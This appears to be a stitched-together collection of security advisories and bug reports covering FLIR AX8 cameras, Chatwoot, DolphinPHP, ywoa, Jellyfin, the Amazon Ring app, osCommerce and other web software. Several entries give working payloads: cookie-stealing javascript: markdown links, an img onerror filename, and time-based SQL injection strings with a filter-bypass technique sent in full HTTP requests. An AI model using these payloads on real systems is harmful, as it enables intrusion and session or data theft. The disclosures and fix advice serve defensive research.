FLIR AX8 versions 1.46.16 and below suffer from command injection, directory traversal, improper access control, and cross site scripting vulnerabilities.

# FLIR AX8 vulnerabilities.

### Product description:

The FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.

### Affected products:  
All FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

### Summary of the 4 vulnerabilities found / What we were able to find:

* [CVE-2022-37061] - Unauthenticated OS Command Injection.

FLIR AX8 is affected by an unauthenticated remote command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the `id` HTTP POST parameter in `res.php` endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

* [CVE-2022-37060] - Unauthenticated Directory Traversal.

FLIR AX8 is affected by a directory traversal vulnerability due to an improper access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains directory traversal characters, to disclose the contents of files located outside of the server's restricted path. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

* [CVE-2022-37062] - Improper Access Control.

FLIR AX8 is affected by an insecure design vulnerability due to an improper directory access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains the path of the SQLite users database, and download it.  A successful exploit could allow the attacker to extract usernames and hashed passwords. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`. 

* [CVE-2022-37063] - Reflected cross-site scripting.

FLIR AX8 is affected by a reflected cross-site scripting (XSS) vulnerability due to an improper input sanitization. An authenticated, remote attacker can execute arbitrary JavaScript code in the web management interface. A successful exploit could allow the attacker to insert malicious JavaScript code. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

###  Step by Step Example (How to Reproduce and verify) the vulnerabilities:

1. Unauthenticated Remote Command Injection.

The endpoint `/res.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate. The second problem is that the POST parameter `id` can be injected to execute any Linux command. In the example below we create a crafted query that displays the contents of the `/etc/shadow` file.

The server returns a JSON response containing the contents of the `/etc/shadow` file.  This command injection is due because there no sanitization check on the variable `$_POST["id"]`, line 65, and can therefore take advantage of the `shell_exec()` function to execute unexpected arbitrary shell commands.

2. Unauthenticated Directory Traversal.

The endpoint `/download.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate. The second problem is that the GET parameter `file` can be injected with a relative file paths and download any files in the system. In the example below we create a crafted query that download the contents of the `/etc/passwd` file.

The error is due to the fact that there is no sanitization of the `$file_path` variable, line 26, when the `fopen()` function is called, line 39. However a comment in the code, line 24, and the use of the function `pathinfo()`, line 28, suggests that the developer thought about this problem and therefore created the variable `$path_parts` which is sanitized. But for some reasons the developer does not use the sanitizer variable `$path_parts` when the function `fopen()` is used. Probably an oversight.

3. Improper Access Control.

The endpoint `/FLIR/db/users.db` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate and let any malicious actor to download the `users.db` SQLite database.

4. Reflected cross-site scripting.

In the settings tab, if a file with a filename that contains JavaScript code is selected via the update firmware file input the JavaScript code will be triggered and executed. In our example, we created a file call 

<img src=x onerror=alert(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59));>.run

### Recommendations for how to fix the 4 vulnerabilities:

* Vulnerability 1: The variable `$_POST["id"]`, line 65 in the file `/FLIR/usr/www/res.php`, must be sanitized using the function `intval()` and will remove any character other than integer value. `escapeshellcmd()` and `escapeshellarg()` must be also used to escapes any characters in a string that might be used to execute arbitrary commands. 

More info:   
https://www.php.net/intval  
https://www.php.net/manual/en/function.escapeshellcmd  
https://www.php.net/manual/en/function.escapeshellarg

* Vulnerability 2: The variable `$file_path`, line 39 in the file `/FLIR/usr/www/download.php`, must be sanitized using the function `pathinfo()` but also use a hard coded directory path, in case you need to manage several directories set a whitelist of all allowed directories and use multiple conditions.

More info:  
https://www.php.net/manual/en/function.pathinfo

* Vulnerability 3: Define a whitelist of all directories that a user is allowed to access. This can be added to the Lighttpd server configuration file, in `/etc/lighttpd.conf`.

More info:  
https://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html

* Vulnerability 4: To protect against filename XSS attack you can use a regex that will parse the filename to leave only numbers and letters.

More info:   
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

### Reference:  
https://www.flir.com/products/ax8-automation/

### Security researchers:  
* [Thomas Knudsen] (https://www.linkedin.com/in/thomasjknudsen)  
* [Samy Younsi] (https://www.linkedin.com/in/samy-younsi)

FLIR AX8 1.46.16 Traversal / Access Control / Command Injection / XSS

Cross-site Scripting (XSS) - DOM in GitHub repository chatwoot/chatwoot prior to 2.7.0.

**Title**

XSS in markdown link-maker

**Description**

While chatting with a client, both sides may use markdown. However, neither client's nor Chatwoot inner user's input is verified.

**Steps to reproduce.**

Note: this works in Safari and Firefox, not Chrome.

I will use Telegram bot.

1.  1\. Start a conversation as an attacker with Chatwoot staff using created Telegram bot.
2.  2\. Send payload [clickMe](javascript:alert(document.cookie)) as a message.
3.  3\. As a Chatwoot staff click on the link, trigger an XSS.

Also it is possible to create a malicious link as a staff (e.g. leave it in other's staff conversation in order to trigger an XSS on their side).

1.  1\. While intercepting your traffic send a message [clickMe](https://google.com) to pass frontend check.
2.  2\. In the outcoming POST request to /api/v1/accounts/2/conversations/1/messages modify the body, so it looked something like this:

    {
        "content":"[click](javascript:alert(document.cookie))",
        "private":false,
        "echo_id":"{yourId}",
        "cc_emails":"",
        "bcc_emails":""
    }
    

3.  3\. As some other staff click on the link, trigger an XSS.

I'm leaving a video PoC for both cases:

Video PoC

**Possible remediation**

Verify message content.

**Impact**

This vulnerability is capable of running an arbitrary JS code.

CVE-2022-0542: Cross-site Scripting (XSS) - DOM in chatwoot

DolphinPHP 1.5.1 is vulnerable to Cross Site Scripting (XSS) via Background - > System - > system function - > configuration management.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-37254: DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS) · Issue #42 · caiweiming/DolphinPHP

Yimioa v6.1 was discovered to contain a SQL injection vulnerability via the orderbyGET parameter.

**ywoaSQL-Inject-Bypass****Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment

http://partner.yimihome.com/static/index.html#/index/sys\_env

**1, personnel - personnel information - orderbyGET parameter SQL injection**

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

Bypass Payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

**Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment  
  
One-click installation, after the installation will prompt the system has expired, go to setup and take a look  
  
Until June 1, but it's okay, here to change the system time can be  
  
  
Login successfully

**Code audit****1\. Personnel - personnel information - orderbyGET parameter SQL injection**

  

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137

page=1&limit=20&realname\_cond=0&realname=test18&sex=&sex\_cond=1&dept=&dept\_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=

**SQL injection Bypass**

The above injection payload is as follows

id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

The environment here is from idea, but idea has a lot of error reports, many functions are not available, I changed to Windows one-click deployment  
  
After building it, debug it remotely with idea  
  
When you try to reproduce this vulnerability again, you will be prompted with an XSS interception  
  
  
It was curious at the time why this was XSS intercepted and not SQL intercepted? Look at the code  
  
The specific detection logic is in the filter method in SecurityUtil.java, so let's look at the code logic here  
  
Briefly, the main thing here is to get the values of the request parameters, and then pass them one by one to the following detection logic  
  
Since we just prompted for an XSS attack, we will follow directly into the method antixss to see the specific implementation logic  
Next you will come to Antixss.Java

    src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java
    

  
The antiXSS method is called by passing in the html to be detected and a true  
  
Follow directly in to see  
  
Check the \_antiXSS method, where the content is passed in is the content to be detected  
  
Here is the specific detection logic, but I'm only looking at the stripScriptTag method here, because it is the content inside this method that is detected, and our focus is only on what parameters are detected  
  
Mainly by means of regularity and case-insensitive because of CASE_INSENSITIVE  
  
Pull the following when you can see, in fact, and or sleep is filtered, create a new test class, and adjust it to know  
  
Remove AND  
  
The statement is normal, put back and remove sleep, the statement is normal, so since this is the case, replace and with &&, you can  
  
statement returns normally, then after returning here  
  
Returning to SecurityUtil.java, it will enter the logic of SQL injection, following the isValidSqlParam method  
  
Follow the sql_inj method  
  
We have already bypassed the detection of and and need to bypass the code logic in the second box  
  
The main logic here is to separate inj\_str using |, which will generate a list to inj\_stra\[\], and then iterate through the list, each loop will use the indexOf method to determine whether the value in inj\_stra\[i\] is in str, that is, if indexOf returns > 0 value exists, and vice versa, it does not exist, here you can also write a class tuned  
  
  
In the sixth loop, which is when select is detected, then it is obvious that you need to bypass select  
Here I was going to try to use

&& extractvalue(1,concat('~',database()))

Unfortunately, '~' will be detected as XSS, so this method does not work  
  
The && here needs to be converted to url encoding, otherwise this request will report 400  
  
So we can only think of ways to select this keyword, here is a bypass of the payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

  
Tips: Here just by looking at the screenshot you may think that you can bypass it with SELECT capitalization, but in fact it will be converted to lowercase before calling the sql_inj method  
  
So there is no way to capitalize to bypass

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

**Function implementation entrance**

  
  
First will get the get parameter code, if the code parameter is empty, then get the Get parameter moduleCode and assign it to code, if there is no moduleCode in the get parameter, then get the formCode and copy it to code, here the code parameter passed in is personbasic  
  
Continue to the next page  
  
Here is the OA developer's own implementation of the SQLBuilder class  
  
  
Follow this method  
  
Follow such as getModuleListSqlAndUrlStr method, then a sql str will be returned, continue down the line is the place that causes SQL injection  
  
Follow up this listResult method  
  
The statements will then be spelled out in the middle  
  
The executeQuery statement is then executed  
  
The difference between the above and the SQL statement is that one is the count spliced in and the other is the original passed in  
  
This is followed by a return, which is executed here with a 5-second wait, so it causes an injection

CVE-2022-36605: ywoa SQL inject Bypass and Analysis of the article · Issue #24 · cloudwebsoft/ywoa

In Jellyfin before 10.8, stored XSS allows theft of an admin access token.

@@ -155,7 +155,7 @@ public ActionResult<IEnumerable<RepositoryInfo>> GetRepositories() /// <response code="204">Package repositories saved.</response> /// <returns>A <see cref="NoContentResult"/>.</returns> \[HttpPost("Repositories")\] \[Authorize(Policy = Policies.DefaultAuthorization)\] \[Authorize(Policy = Policies.RequiresElevation)\] \[ProducesResponseType(StatusCodes.Status204NoContent)\] public ActionResult SetRepositories(\[FromBody, Required\] List<RepositoryInfo> repositoryInfos) {

CVE-2022-35910: Require elevation to save list of plugin repositories by crobibero · Pull Request #7569 · jellyfin/jellyfin

Retail giant Amazon patched a high-severity security issue in its Ring app for Android in May that could have enabled a rogue application installed on a user's device to access sensitive information and camera recordings.
The Ring app for Android has over 10 million downloads and enables users to monitor video feeds from smart home devices such as video doorbells, security cameras, and alarm

Retail giant Amazon patched a high-severity security issue in its Ring app for Android in May that could have enabled a rogue application installed on a user's device to access sensitive information and camera recordings.

The Ring app for Android has over 10 million downloads and enables users to monitor video feeds from smart home devices such as video doorbells, security cameras, and alarm systems. Amazon acquired the doorbell maker for about $1 billion in 2018.

Application security firm Checkmarx explained it identified a cross-site scripting (XSS) flaw that it said could be weaponized as part of an attack chain to trick victims into installing a malicious app.

The app can then be used to get hold of the user's Authorization Token, that can be subsequently leveraged to extract the session cookie by sending this information alongside the device's hardware ID, which is also encoded in the token, to the endpoint "ring\[.\]com/mobile/authorize."

Armed with this cookie, the attacker can sign in to the victim's account without having to know their password and access all personal data associated with the account, including full name, email address, phone number, and geolocation information as well as the device recordings.

This is achieved by querying the below two endpoints -

*   account.ring\[.\]com/account/control-center - Get the user's personal information and Device ID
*   account.ring\[.\]com/api/cgw/evm/v2/history/devices/{{DEVICE\_ID}} - Access the Ring device data and recordings

Checkmarx said it reported the issue to Amazon on May 1, 2022, following which a fix was made available on May 27 in version 3.51.0. There is no evidence that the issue has been exploited in real-world attacks, with Amazon characterizing the exploit as "extremely difficult" and emphasizing that no customer information was exposed.

The development comes more than a month after the company moved to address a severe weakness affecting its Photos app for Android that could have been exploited to steal a user's access tokens.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

New Amazon Ring Vulnerability Could Have Exposed All Your Camera Recordings

Cross Site Scripting (XSS) vulnerability exists in the phpgurukul Online Marriage Registration System 1.0 allows attackers to run arbitrary code via the wzipcode field.

**Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting**

**Platform:****PHP**

**Date:****2020-05-27**

  

    Exploit Title: Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting
    # Google Dork: N/A
    # Date: 2020-05-26
    # Exploit Author: that faceless coder(Inveteck Global)
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
    # Version: Online Marriage Registration System 1.0 - Stored Cross-Site Scripting
    # Tested on: MAC OS MOJAVE v 10.14.6
    # CVE : N/A
    
    The Online Marriage Registration System suffers from multiple stored cross-site script vulnerabilities: 
    
    if(isset($_POST['submit']))
      {
      
    $nofhusband=$_POST['nofhusband'];
    $hreligion=$_POST['hreligion'];
    $haddress=$_POST['haddress'];
    $hstate=$_POST['hstate'];
    
    $nofwife=$_POST['nofwife'];
    $wreligion=$_POST['wreligion'];
    $waddress=$_POST['waddress'];
    $wstate=$_POST['wstate'];
    $witnessnamef=$_POST['witnessnamef'];
    $waddressfirst=$_POST['waddressfirst'];
    $witnessnames=$_POST['witnessnames'];
    $waddresssec=$_POST['waddresssec'];
    $witnessnamet=$_POST['witnessnamet'];
    $waddressthird=$_POST['waddressthird'];
    
    $sql="insert into tblregistration(RegistrationNumber,UserID,DateofMarriage,HusbandName,HusImage,HusbandReligion,Husbanddob,HusbandSBM,HusbandAdd,HusbandZipcode,HusbandState,HusbandAdharno,WifeName,WifeImage,WifeReligion,Wifedob,WifeSBM,WifeAdd,WifeZipcode,WifeState,WifeAdharNo,WitnessNamefirst,WitnessAddressFirst,WitnessNamesec,WitnessAddresssec,WitnessNamethird,WitnessAddressthird)values(:regnumber,:uid,:dom,:nofhusband,:husimg,:hreligion,:hdob,:hsbmarriage,:haddress,:hzipcode,:hstate,:hadharno,:nofwife,:wifeimg,:wreligion,:wdob,:wsbmarriage,:waddress,:wzipcode,:wstate,:wadharno,:witnessnamef,:waddressfirst,:witnessnames,:waddresssec,:witnessnamet,:waddressthird)";
    $query=$dbh->prepare($sql);
    
    $sql="insert into tblregistration(RegistrationNumber,UserID,DateofMarriage,HusbandName,HusImage,HusbandReligion,Husbanddob,HusbandSBM,HusbandAdd,HusbandZipcode,HusbandState,HusbandAdharno,WifeName,WifeImage,WifeReligion,Wifedob,WifeSBM,WifeAdd,WifeZipcode,WifeState,WifeAdharNo,WitnessNamefirst,WitnessAddressFirst,WitnessNamesec,WitnessAddresssec,WitnessNamethird,WitnessAddressthird)values(:regnumber,:uid,:dom,:nofhusband,:husimg,:hreligion,:hdob,:hsbmarriage,:haddress,:hzipcode,:hstate,:hadharno,:nofwife,:wifeimg,:wreligion,:wdob,:wsbmarriage,:waddress,:wzipcode,:wstate,:wadharno,:witnessnamef,:waddressfirst,:witnessnames,:waddresssec,:witnessnamet,:waddressthird)";
    $query=$dbh->prepare($sql);
    $query->bindParam(':nofhusband',$nofhusband,PDO::PARAM_STR);
    $query->bindParam(':hreligion',$hreligion,PDO::PARAM_STR);
    $query->bindParam(':hdob',$hdob,PDO::PARAM_STR);
    $query->bindParam(':hsbmarriage',$hsbmarriage,PDO::PARAM_STR);
    $query->bindParam(':haddress',$haddress,PDO::PARAM_STR);
    $query->bindParam(':hzipcode',$hzipcode,PDO::PARAM_STR);
    $query->bindParam(':hstate',$hstate,PDO::PARAM_STR);
    $query->bindParam(':hadharno',$hadharno,PDO::PARAM_STR);
    $query->bindParam(':nofwife',$nofwife,PDO::PARAM_STR);
    $query->bindParam(':wifeimg',$wifeimg,PDO::PARAM_STR);
    $query->bindParam(':wreligion',$wreligion,PDO::PARAM_STR);
    $query->bindParam(':wdob',$wdob,PDO::PARAM_STR);
    $query->bindParam(':wsbmarriage',$wsbmarriage,PDO::PARAM_STR);
    $query->bindParam(':waddress',$waddress,PDO::PARAM_STR);
    $query->bindParam(':wzipcode',$wzipcode,PDO::PARAM_STR);
    $query->bindParam(':wstate',$wstate,PDO::PARAM_STR);
    $query->bindParam(':wadharno',$wadharno,PDO::PARAM_STR);
    $query->bindParam(':witnessnamef',$witnessnamef,PDO::PARAM_STR);
    $query->bindParam(':waddressfirst',$waddressfirst,PDO::PARAM_STR);
    $query->bindParam(':witnessnames',$witnessnames,PDO::PARAM_STR);
    $query->bindParam(':waddresssec',$waddresssec,PDO::PARAM_STR);
    $query->bindParam(':witnessnamet',$witnessnamet,PDO::PARAM_STR);
    $query->bindParam(':waddressthird',$waddressthird,PDO::PARAM_STR);
     $query->execute();
    
       $LastInsertId=$dbh->lastInsertId();
       if ($LastInsertId>0) {
    
    echo '<script>alert("Registration form has been filled successfully.")</script>';
      }
      else
        {
             echo '<script>alert("Something Went Wrong. Please try again")</script>';
        }
    
    The data gets stored through the mentioned vulnerable parameters into the database. There is no filtering when those values are printed when the web application fetches the data from the database

CVE-2020-23466: Offensive Security’s Exploit Database Archive

A stored cross-site scripting (XSS) vulnerability in Kirby's Starterkit v3.7.0.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Tags field.

**Cross site scripting in getkirby/starterkit**

Moderate severity GitHub Reviewed Published Aug 19, 2022 • Updated Aug 30, 2022

GHSA-4m2g-668v-jwjx: Cross site scripting in getkirby/starterkit

Ecommerce-CodeIgniter-Bootstrap before commit 56465f was discovered to contain a cross-site scripting (XSS) vulnerability via the function base_url() at /blog/blogpublish.php.

We found multiple XSS vulnerabilities in the latest version of Ecommerce-CodeIgniter-Bootstrap.

Technique details:  
The vulnerabilities occur at base\_url() function. We notice the user inputs (e.g., $\_POST) are used as the parameter of base\_url() function in many places (e.g., the 45th line in /application/modules/admin/views/blog/blogpublish.php), the program echo the return value of this function directly without proper sanitization. This would lead to XSS vulnerabilities.

Example:  
We exploit the echo function in /application/modules/admin/views/blog/blogpublish.php#45 line.  
The attacker can set $\_POST\['img'\] to 'q" onerror="javascript:alert(1)'. Then the img tag becomes  
Then he successfully performs a XSS attack.  

The vulnerability has been fixed in 56465f after we reported it to developers.

CVE-2022-35213: XSS vulnerabilities  · Issue #219 · kirilkirkov/Ecommerce-CodeIgniter-Bootstrap

osCommerce2 before v2.3.4.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the function tep_db_error().

I am using osCommerce2 and find one potential XSS vulnerability in its version 2.3.4.1:

osCommerce implements function _tep\_db\_query()_ to execute SQL statement.  In case of MySQL error, the function _tep\_db\_query()_ would call _tep\_db\_error()_ to handle the mysql errors:

_$result = mysqli\_query($$link, $query) or tep\_db\_error($query, mysqli\_errno($$link), mysqli\_error($$link));_

The _tep\_db\_error()_ function basically calls _die()_ function to display the error back to users: 

_die('<font color="#000000"><strong>' . $errno . ' - ' . $error . '<br /><br />' . $query . ' ...);_

The _$query_ variable is sent by users and is well sanitized against SQL injection. However, it will also be used in the _die()_ function (a sensitive XSS function like _echo()_) when Mysql returns errors. In multiple files (e.g.,  "/admin/modules.php") ,  the $query variable is not sanitized (against XSS) and can be exploited because of the die() function.

I suggest adding XSS sanitizers in the _tep\_db\_error()_ function to avoid this kind of attack.

Tag

#xss